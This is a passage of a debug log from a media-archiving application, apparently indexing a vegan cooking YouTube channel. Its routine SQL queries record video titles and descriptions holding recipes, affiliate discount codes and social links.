Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "HEALTHY Vegan Costco Grocery Haul! Whole food plant-based, gluten-free", "4ab9e7ef-3c1b-4507-ac8f-e945dde3e977", 1, [], false, "vgaBOvm0uD4", "https://www.youtube.com/watch?v=vgaBOvm0uD4", 233, "/downloads/downloads/alec/Steamy Vegan/2024-01-02 HEALTHY Vegan Costco Grocery Haul! Whole food plant-based, gluten-free/HEALTHY Vegan Costco Grocery Haul! Whole food plant-based, gluten-free [vgaBOvm0uD4].NA", false, false, false, 1, ~U[2024-01-02 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video you’ll see everything we bought in this healthy vegan Costco grocery haul! As we jump into 2024 we want to clean out our fridge and pantry of all the indulgences of the holidays and fill up with tons of healthy, whole food, plant based foods. We’ll be making so man good, wholesome and steamy recipes in the New Year so be sure to subscribe so you miss nothing!\n\nTOTAL SPENT = $355 CAD / $268 USD\n\nPS: save 30% off Good Protein powder with my code STEAMYVEGANKITCHEN30 at goodprotein.ca — it’s seriously the BEST tasting protein powder around 😊💪🏻\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "HEALTHY Vegan Costco Grocery Haul! Whole food plant-based, gluten-free", 1, nil, false, "vgaBOvm0uD4", "https://www.youtube.com/watch?v=vgaBOvm0uD4", "/downloads/downloads/alec/Steamy Vegan/2024-01-02 HEALTHY Vegan Costco Grocery Haul! Whole food plant-based, gluten-free/HEALTHY Vegan Costco Grocery Haul! Whole food plant-based, gluten-free [vgaBOvm0uD4].NA", false, ~U[2024-01-02 00:00:00Z]] 20:31:07.828 [debug] QUERY OK source="sources" db=0.6ms queue=0.3ms idle=25.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.831 [debug] QUERY OK source="media_items" db=3.3ms idle=12.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-30 00:00:00Z], 1] 20:31:07.835 [debug] QUERY OK source="media_items" db=2.3ms idle=13.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I'm showing you 5 healthy meals that I eat every single week as a gluten-free vegan! This round up is perfect for you if you're looking to adopt a more whole food plant based lifestyle and need some new recipe inspiration. Each recipe shown is uncomplicated and simple to make while using healthy, whole food and budget-friendly ingredients!\n\nCheck out the full 'WHAT I EAT IN A DAY' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n⭐️ RECIPES MENTIONED IN THIS VIDEO ⭐️\n\nBBQ CHICK'N CAESAR WRAP (full recipe video ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0EASY\u00A0VEGAN\u00A0GLUTEN-FREE\u00A0LUNCH\u00A0IDEAS\u00A0//\u00A0Wh...\u00A0\u00A0)\n1 tortilla/wrap\n¾ cooked/air fried soy curls, tossed in bbq sauce\n1 tbsp vegan caesar dressing (watch this video for recipe: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Caesar\u00A0Salad\u00A0Recipe\u00A0\u00A0 )\ncucumber slices\nromaine lettuce with caesar dressing\nvegan mozzarella cheese shreds\n\n1. Warm your wrap in the microwave for 20 seconds to help it be more soft and pliable (especially for GF!)\n2. Spread the caesar dressing on the bottom, followed by the soy curls, cucumber, caesar salad and mozza cheese and roll up into a wrap.\n3. Optional: toast in the wrap in a hot skillet for 2 minutes on both sides for crunchy texture.\n\nVEGAN SHEET PAN FAJITAS (full recipe video ➡️ \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0MEAL\u00A0PREP:\u00A0Sheet\u00A0Pan\u00A0Fajitas\u00A0for\u00A0Bud...\u00A0\u00A0)\n½ package of soy curls, rehydrated OR\n1 block extra firm tofu or tempeh, cubed\n3 different coloured bell peppers, sliced intro strips lengthwise\n½ large red onion, sliced into strips lengthwise\n½ lb. white or brown mushrooms, sliced\n1 tbsp neutral oil or cooking spray\nSPICES\n½ tbsp chili powder\n½ tbsp cumin\n1 tsp garlic powder\n½ tsp paprika\n½ tsp oregano\n½ tsp salt\n¼ tsp pepper\n\n1. Preheat your oven to 400°F. \n2. Grab yourself 1 to 2 large sheet pans and arrange all your prepared veggies and protein evenly between them. \n3. Add all your spices to a small jar and shake them up to mix them together. Spread the spices evenly over your sheet pan veggies. \n4. Add ½ tbsp oil over each sheet pan (or 1 tbsp if just using 1) or lightly spray each one with cooking spray, then use yours hands to coat all the veggies in the spices and oil.\n5. Bake in the oven for 35 to 40 minutes, flipping the veggies over and rotating the pans halfway to ensure even cooking, until the veggies have softened and are slightly golden on the edges.\n6. Serve with tortillas or over a bowl of greens and grains with some lime juice, salsa and vegan sour cream and ENJOY!\n\nMISO MUSHROOM RAMEN (full recipe video ➡️ \u00A0\u00A0\u00A0•\u00A0CREAMY\u00A0VEGAN\u00A0MISO\u00A0MUSHROOM\u00A0RAMEN!\u00A0A\u00A0total\u00A0...\u00A0\u00A0)\n1 lb. baby bella mushrooms, sliced\n1 medium crown of broccoli, chopped into small florets\n4 cloves garlic, minced\n2 inch thumb of ginger, grated\n1 bundle of green onions chopped, white and green parts separated\n1½ tbsp miso paste\n1½ tbsp gochujang\n1½ tbsp soy sauce/tamari\n4 cups hot veggie/mushroom broth\n1 can coconut milk\n1 tbsp sesame oil\nYour choice of ramen noodles, cooked according to directions\n\n1. Heat 1 tbsp sesame oil in a medium stockpot. Add the ginger, garlic and light parts of the green onion and cook for 2 to 3 minutes until slightly softened and fragrant.\n2. Add the mushrooms and broccoli, stir and cook for 5 more minutes until the broccoli is brighter green and mushrooms are shrinking.\n3. Add the miso paste, gochujang and soy sauce and stir to combine. Then pour in the hot veggie broth and stir to combine. Cover with the lid and bring to a boil.\n4. Turn the heat down to medium and add the coconut milk and remaining green onion, stirring to combine, and allow the coconut milk to melt into the broth for about 3 to 4 minutes.\n5. Serve over your cooked ramen noodles and top with additional green onion, optional edamame or other protein of your choice (tofu, soy curls).\n\nPUMPKIN RED THAI CURRY (full recipe video ➡️ \u00A0\u00A0\u00A0•\u00A0COZY\u00A0&\u00A0Cheap\u00A0ONE\u00A0POT\u00A0Vegan\u00A0Recipes\u00A0that\u00A0Wa...\u00A0\u00A0)\n4 cups sugar/pie pumpkin, cubed with skins on (1 small pie pumpkin or half a larger one)\n1 can coconut milk\n½ cup pumpkin puree\n1 medium onion, diced\n4 cloves garlic, minced\n1 cup tomato sauce (or half a can of tomato paste mixed with water)\n2 tbsp Thai re" <> ..., "5 Healthy Meals I Eat Every Week as a Gluten-Free Vegan (What I eat in a week)", "e109cc95-dd70-4077-8bb0-a3f4e3dc5099", 1, [], false, "6AQL7v60r8o", "https://www.youtube.com/watch?v=6AQL7v60r8o", 234, "/downloads/downloads/alec/Steamy Vegan/2023-12-30 5 Healthy Meals I Eat Every Week as a Gluten-Free Vegan (What I eat in a week)/5 Healthy Meals I Eat Every Week as a Gluten-Free Vegan (What I eat in a week) [6AQL7v60r8o].NA", false, false, false, 1, ~U[2023-12-30 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I'm showing you 5 healthy meals that I eat every single week as a gluten-free vegan! This round up is perfect for you if you're looking to adopt a more whole food plant based lifestyle and need some new recipe inspiration. Each recipe shown is uncomplicated and simple to make while using healthy, whole food and budget-friendly ingredients!\n\nCheck out the full 'WHAT I EAT IN A DAY' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n⭐️ RECIPES MENTIONED IN THIS VIDEO ⭐️\n\nBBQ CHICK'N CAESAR WRAP (full recipe video ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0EASY\u00A0VEGAN\u00A0GLUTEN-FREE\u00A0LUNCH\u00A0IDEAS\u00A0//\u00A0Wh...\u00A0\u00A0)\n1 tortilla/wrap\n¾ cooked/air fried soy curls, tossed in bbq sauce\n1 tbsp vegan caesar dressing (watch this video for recipe: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Caesar\u00A0Salad\u00A0Recipe\u00A0\u00A0 )\ncucumber slices\nromaine lettuce with caesar dressing\nvegan mozzarella cheese shreds\n\n1. Warm your wrap in the microwave for 20 seconds to help it be more soft and pliable (especially for GF!)\n2. Spread the caesar dressing on the bottom, followed by the soy curls, cucumber, caesar salad and mozza cheese and roll up into a wrap.\n3. Optional: toast in the wrap in a hot skillet for 2 minutes on both sides for crunchy texture.\n\nVEGAN SHEET PAN FAJITAS (full recipe video ➡️ \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0MEAL\u00A0PREP:\u00A0Sheet\u00A0Pan\u00A0Fajitas\u00A0for\u00A0Bud...\u00A0\u00A0)\n½ package of soy curls, rehydrated OR\n1 block extra firm tofu or tempeh, cubed\n3 different coloured bell peppers, sliced intro strips lengthwise\n½ large red onion, sliced into strips lengthwise\n½ lb. white or brown mushrooms, sliced\n1 tbsp neutral oil or cooking spray\nSPICES\n½ tbsp chili powder\n½ tbsp cumin\n1 tsp garlic powder\n½ tsp paprika\n½ tsp oregano\n½ tsp salt\n¼ tsp pepper\n\n1. Preheat your oven to 400°F. \n2. Grab yourself 1 to 2 large sheet pans and arrange all your prepared veggies and protein evenly between them. \n3. Add all your spices to a small jar and shake them up to mix them together. Spread the spices evenly over your sheet p (truncated) 20:31:07.837 [debug] QUERY OK source="sources" db=1.0ms idle=14.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.839 [debug] QUERY OK source="media_items" db=2.5ms idle=11.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-27 00:00:00Z], 1] 20:31:07.842 [debug] QUERY OK source="media_items" db=1.2ms idle=12.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I take you through what I eat in a day as a vegan! I made many healthy vegan recipes that were mostly whole food plant based, so delicious and really easy to make. \n\nBinge my entire 'WHAT I EAT' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nLooking for more holiday recipe inspo? Check out my full ''HOLIDAY RECIPES' playlist! ✨ \u00A0\u00A0\u00A0•\u00A0HOLIDAY\u00A0RECIPES\u00A0\u00A0\n\nWHAT I MADE\nSweet Potato Toast (full video on how to make it ➡️ \u00A0\u00A0\u00A0•\u00A0Sweet\u00A0Potato\u00A0Toast\u00A03\u00A0Ways\u00A0/\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0\u00A0)\nBLT Quinoa Bowl (rice paper bacon recipe coming in future video)\ncooked quinoa, grape tomatoes, avocado, green onion, cilantro, oregano, cumin, paprika, salt and pepper, vegan worcestershire sauce)\nVegan Chinese 'Take Out' \n'egg' fried rice\nsweet n sour tofu\nspicy chop suey\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day | Healthy Vegan Recipes to Wrap Up the Year 🎉", "fcfb2792-2950-441c-aacf-4cad13b55226", 1, [], false, "4nWybE1Yi98", "https://www.youtube.com/watch?v=4nWybE1Yi98", 235, "/downloads/downloads/alec/Steamy Vegan/2023-12-27 What I Eat in a Day | Healthy Vegan Recipes to Wrap Up the Year 🎉/What I Eat in a Day | Healthy Vegan Recipes to Wrap Up the Year 🎉 [4nWybE1Yi98].NA", false, false, false, 1, ~U[2023-12-27 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I take you through what I eat in a day as a vegan! I made many healthy vegan recipes that were mostly whole food plant based, so delicious and really easy to make. \n\nBinge my entire 'WHAT I EAT' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nLooking for more holiday recipe inspo? Check out my full ''HOLIDAY RECIPES' playlist! ✨ \u00A0\u00A0\u00A0•\u00A0HOLIDAY\u00A0RECIPES\u00A0\u00A0\n\nWHAT I MADE\nSweet Potato Toast (full video on how to make it ➡️ \u00A0\u00A0\u00A0•\u00A0Sweet\u00A0Potato\u00A0Toast\u00A03\u00A0Ways\u00A0/\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0\u00A0)\nBLT Quinoa Bowl (rice paper bacon recipe coming in future video)\ncooked quinoa, grape tomatoes, avocado, green onion, cilantro, oregano, cumin, paprika, salt and pepper, vegan worcestershire sauce)\nVegan Chinese 'Take Out' \n'egg' fried rice\nsweet n sour tofu\nspicy chop suey\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day | Healthy Vegan Recipes to Wrap Up the Year 🎉", 1, nil, false, "4nWybE1Yi98", "https://www.youtube.com/watch?v=4nWybE1Yi98", "/downloads/downloads/alec/Steamy Vegan/2023-12-27 What I Eat in a Day | Healthy Vegan Recipes to Wrap Up the Year 🎉/What I Eat in a Day | Healthy Vegan Recipes to Wrap Up the Year 🎉 [4nWybE1Yi98].NA", false, ~U[2023-12-27 00:00:00Z]] 20:31:07.843 [debug] QUERY OK source="sources" db=1.1ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.846 [debug] QUERY OK source="media_items" db=2.2ms idle=8.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-22 00:00:00Z], 1] 20:31:07.847 [debug] QUERY OK source="media_items" db=1.3ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Wanna bake with me?! 🍪 Let me show you how to make the most delicious version of gingerbread cookies you'll try this year! We're going to make vegan and gluten-free gingerbread cookies with a SECRET (or not so secret) ingredient... TAHINI! They're to die for and I'm so excited for you to try these this Christmas! 🎄\n\nLooking for more holiday recipe inspo? Check out my full ''HOLIDAY RECIPES' playlist! ✨ \u00A0\u00A0\u00A0•\u00A0HOLIDAY\u00A0RECIPES\u00A0\u00A0\nOR take a peak at my 'SWEET TREATS' playlist! ✨ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0\n\nTahini Gingerbread Cookies\nInspired by Minimalist Baker’s Gingerbread Cookies Recipe\n\n1\u00A0flax egg (2 tbsp\u00A0ground flaxseed + 2½ tbsp water, sit 10 mins)\n¼\u00A0cup\u00A0coconut oil or vegan butter (softened)\n3\u00A0Tbsp\u00A0molasses\n¼\u00A0cup tahini\n½\u00A0cup packed\u00A0brown sugar (or coconut sugar)\n¼\u00A0tsp\u00A0salt\n¾\u00A0tsp\u00A0ground ginger\n½\u00A0tsp\u00A0ground cinnamon\n¼\u00A0tsp\u00A0ground nutmeg\u00A0(optional)\n½\u00A0tsp\u00A0baking soda\n1½ cups gluten-free flour blend\n\nFrosting; whisk to combine\n1 cup powdered sugar\n1 tbsp soy milk\n½ tbsp melted vegan butter or coconut oil\n\n1. To a large mixing bowl or stand mixer bowl, add coconut oil, molasses, tahini, brown sugar, salt, spices, baking soda and beat on low or vigorously whisk\n2. Add flour and mix well until combined. Your dough should hold it’s shape when pressed but not feel dry (or overly sticky).\n3. Wrap in plastic wrap and chill for at least 1 hour or up to overnight.\n4. Preheat oven to 350 degrees and roll out the dough into a ¼” thick sheet, making sure to flour your work surface and the top of the dough.\n5. Cut out your cookies with your favourite holiday shapes and transfer to a large parchment lined baking sheet. Bake for 10 minutes or until they appear slightly browned on the edges. Let rest on the pan for 2 to 3 minutes and then transfer to a cooling rack.\n6. Once cooled decorate with frosting, let dry and enjoy!\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Gingerbread Cookies! Vegan and Gluten-Free Recipe (Cook With Me)", "3a3df85e-73fc-4228-b7de-db4212ad2e65", 1, [], false, "u5fngLTGNMc", "https://www.youtube.com/watch?v=u5fngLTGNMc", 236, "/downloads/downloads/alec/Steamy Vegan/2023-12-22 Gingerbread Cookies! Vegan and Gluten-Free Recipe (Cook With Me)/Gingerbread Cookies! Vegan and Gluten-Free Recipe (Cook With Me) [u5fngLTGNMc].NA", false, false, false, 1, ~U[2023-12-22 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Wanna bake with me?! 🍪 Let me show you how to make the most delicious version of gingerbread cookies you'll try this year! We're going to make vegan and gluten-free gingerbread cookies with a SECRET (or not so secret) ingredient... TAHINI! They're to die for and I'm so excited for you to try these this Christmas! 🎄\n\nLooking for more holiday recipe inspo? Check out my full ''HOLIDAY RECIPES' playlist! ✨ \u00A0\u00A0\u00A0•\u00A0HOLIDAY\u00A0RECIPES\u00A0\u00A0\nOR take a peak at my 'SWEET TREATS' playlist! ✨ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0\n\nTahini Gingerbread Cookies\nInspired by Minimalist Baker’s Gingerbread Cookies Recipe\n\n1\u00A0flax egg (2 tbsp\u00A0ground flaxseed + 2½ tbsp water, sit 10 mins)\n¼\u00A0cup\u00A0coconut oil or vegan butter (softened)\n3\u00A0Tbsp\u00A0molasses\n¼\u00A0cup tahini\n½\u00A0cup packed\u00A0brown sugar (or coconut sugar)\n¼\u00A0tsp\u00A0salt\n¾\u00A0tsp\u00A0ground ginger\n½\u00A0tsp\u00A0ground cinnamon\n¼\u00A0tsp\u00A0ground nutmeg\u00A0(optional)\n½\u00A0tsp\u00A0baking soda\n1½ cups gluten-free flour blend\n\nFrosting; whisk to combine\n1 cup powdered sugar\n1 tbsp soy milk\n½ tbsp melted vegan butter or coconut oil\n\n1. To a large mixing bowl or stand mixer bowl, add coconut oil, molasses, tahini, brown sugar, salt, spices, baking soda and beat on low or vigorously whisk\n2. Add flour and mix well until combined. Your dough should hold it’s shape when pressed but not feel dry (or overly sticky).\n3. Wrap in plastic wrap and chill for at least 1 hour or up to overnight.\n4. Preheat oven to 350 degrees and roll out the dough into a ¼” thick sheet, making sure to flour your work surface and the top of the dough.\n5. Cut out your cookies with your favourite holiday shapes and transfer to a large parchment lined baking sheet. Bake for 10 minutes or until they appear slightly browned on the edges. Let rest on the pan for 2 to 3 minutes and then transfer to a cooling rack.\n6. Once cooled decorate with frosting, let dry and enjoy!\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Gingerbread Cookies! Vegan and Gluten-Free Recipe (Cook With Me)", 1, nil, false, "u5fngLTGNMc", "https://www.youtube.com/watch?v=u5fngLTGNMc", "/downloads/downloads/alec/Steamy Vegan/2023-12-22 Gingerbread Cookies! Vegan and Gluten-Free Recipe (Cook With Me)/Gingerbread Cookies! Vegan and Gluten-Free Recipe (Cook With Me) [u5fngLTGNMc].NA", false, ~U[2023-12-22 00:00:00Z]] 20:31:07.848 [debug] QUERY OK source="sources" db=0.6ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.850 [debug] QUERY OK source="media_items" db=1.9ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-20 00:00:00Z], 1] 20:31:07.853 [debug] QUERY OK source="media_items" db=1.3ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'm showing you how to make the most EPIC vegan no bake chocolate cheesecake recipe ever! It's completely vegan, dairy-free, gluten-free and is made with whole foods! It is so rich, creamy, sweet and indulgent yet can you believe that it's made with TOFU?! Compared to other dairy-free cheesecakes out there this vegan chocolate cheesecake has more protein (12 grams!) per serving.\n\nCraving more chocolatey goodness? Check out my 'SWEET TREATS' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0\n\nVEGAN NO BAKE CHOCOLATE CHEESECAKE RECIPE\n\n\nFILLING:\n1 package medium firm tofu\n½ cup cashews, soaked\n½ cup melted semi-sweet chocolate chips\n¾ cup cocoa powder, sifted\n½ cup granulated sweetener\n1 tsp instant coffee + 2 tbsp hot water\n1 tsp vanilla extract\n2 tbsp tahini\n2 tbsp soy milk\n2 tbsp lemon juice\n\nCRUST:\n1 cup pecans\n¾ cup oat flour\nPinch of salt\n3 medjool dates, pitted\n¼ cup maple syrup\n\nUsing a food processor, combine the pecans, oat flour, salt, medjool dates and maple syrup and blend until a thick, sticky ‘dough’ forms.\nPress the dough into the bottom of a 9” springform pan in an even layer, building up the edges slightly.\nPlace in the freezer for 30 minutes while you prepare the filling.\n\nMelt the chocolate chips in the microwave in 30 second intervals, stirring in between each interval.\n\nInto the bowl of a food processor, add all the ingredients for the filling and blend on high speed until smooth. You may need to stop and scrape down the sides a few times!\n\nPour the cheesecake filling into the crust and smooth into an even layer. Return to the freezer for 4 to 6 hours for it to completely set.\n\nOptional topping: Melt 1 cup of semi-sweet chocolate chips and pour overtop. Smooth into an even layer, letting some drip down the edges for a pretty effect. Garnish with chopped pecans, slice and serve!\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: 